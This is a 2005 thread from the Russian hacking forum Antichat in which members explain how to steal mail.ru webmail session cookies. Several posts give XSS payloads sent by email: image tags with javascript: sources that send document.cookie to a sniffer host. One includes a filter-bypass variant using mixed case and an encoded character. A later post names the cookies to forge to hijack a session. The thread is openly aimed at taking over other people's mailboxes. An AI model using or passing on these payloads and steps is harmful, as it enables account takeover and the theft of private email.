Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   E-Mail (https://forum.antichat.xyz/forumdisplay.php?f=14)
-   -   опять mail.ru (https://forum.antichat.xyz/showthread.php?t=4975)

san40 31.01.2005 19:49

опять mail.ru
 
Подскажите пожалуйста каким образом можно получить куки на сниффер??? и как их заюзать(например Proxomitron)

JazzzSummerMan 01.02.2005 17:52

если ты упоминаешь Proximitron, то наверное обращался к статьям Скальпеля. Тогда что еще нужно, там же все расписано поэтапно, да и видео снято

rsha1988 01.02.2005 17:59

А че - дыру на chat.mail.ru не залатали??????????

JazzzSummerMan 01.02.2005 18:09

Залатали, но можно сразу через почту

<image src="JaVaScRiPt:document.images[x].src='http://sniffer?'+document.cookie">
вот так где-то

rsha1988 02.02.2005 23:15

Точно так или как нибуть по другому?

rsha1988 02.02.2005 23:25

Ввел: <image
src="javascript:document.images[x].src='http://antichat.ru/cgi-bin/s.jpg?'+docum
ent.cookie">
и отправил к себе на 2 ящик, открыл сообщение но в снифере не чего не увидил!
Я прошу вас - скажите, очень надо и уже не ради прикола...

Майор 03.02.2005 03:15

Цитата:

Сообщение от rsha1988
Ввел: <image
src="javascript:document.images[x].src='http://antichat.ru/cgi-bin/s.jpg?'+docum
ent.cookie">
и отправил к себе на 2 ящик, открыл сообщение но в снифере не чего не увидил!
Я прошу вас - скажите, очень надо и уже не ради прикола...

Так он фильтрует конешно javascript

А так нет :
Код HTML:

<image name=img width=1 height=1 src=javascript&#13:document.img.src="http://www.adres/snifer.php?"+document.cookie;>

JazzzSummerMan 03.02.2005 12:13

я написал JaVaScRiPt в разных регистрах, но здесь почему-то в нижний переводится. Вобщем можно как у меня, только в разных регистрах, и вместо x номер картинки

san40 03.02.2005 14:06

А как тогда заюзать куки??? Если юзать их в прокомитроне то вроде надо брать то чо начинается со слова mpop ???? И все %20 урать вроде надо,да?

Майор 03.02.2005 17:14

Подделовать надо токо :
mrcu
p
MailUser
t
Mpop
Mpop

Остальные можно просто удалить
ты вообще вкурсе что такое эти "%20" ?


Время: 22:54